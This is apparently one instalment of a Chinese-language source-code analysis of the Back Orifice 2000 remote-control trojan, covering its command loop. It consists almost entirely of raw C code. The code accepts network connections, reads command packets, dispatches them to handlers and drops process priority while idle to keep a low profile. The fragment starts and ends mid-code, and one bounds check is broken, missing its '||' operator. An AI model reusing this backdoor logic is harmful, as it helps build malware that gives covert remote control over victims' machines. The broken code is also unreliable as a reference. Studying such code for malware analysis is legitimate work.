|
BO2k源码分析(二)----命令循环机制(8) SetPriorityClass(GetCurrentProcess(),IDLE_PRIORITY_CLASS); SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_IDLE); bIdle=TRUE; } SOCKET acc=accept(s,&sa,&len); if(acc == INVALID_SOCKET)continue; if(bIdle) { SetPriorityClass(GetCurrentProcess(),NORMAL_PRIORITY_CLASS); SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_NORMAL); bIdle=FALSE; unsigned long ll; ioctlsocket(acc,FIONREAD,&ll); if(ll>0) { boPacket = (char*)malloc(ll+1); recv(acc,boPacket,ll,MSG_PEEK); int*p = (int *)boPacket; command=p[0]; comid = 0; nArg1 = 0; svArg2=""; svArg3=""; DispatchCommand(command,acc,comid,nArg1,svArg2,svArg3); free(boPacket); closesocket(acc); } else closesocket(acc); } Sleep(20); } } void TerminateCommands(void) { closesocket(s); WSACleanup(); } int KillCommandDispatcher(void) { CloseHandle(g_hDispatchMutex); if(command_handler_table) free(command_handler_table); if(command_description_table) free(command_description_table); return 0; } int DispatchCommand(int command,SOCKET s, int comid, int nArg1, char *svArg2, char *svArg3) { BO_CMD_HANDLER handler; if(command<0 command >= MAX_BO_COMMANDS)return -1; int ret; if(WaitForSingleObject(g_hDispatchMutex,INFINITE)!=WAIT_OBJECT_0)
|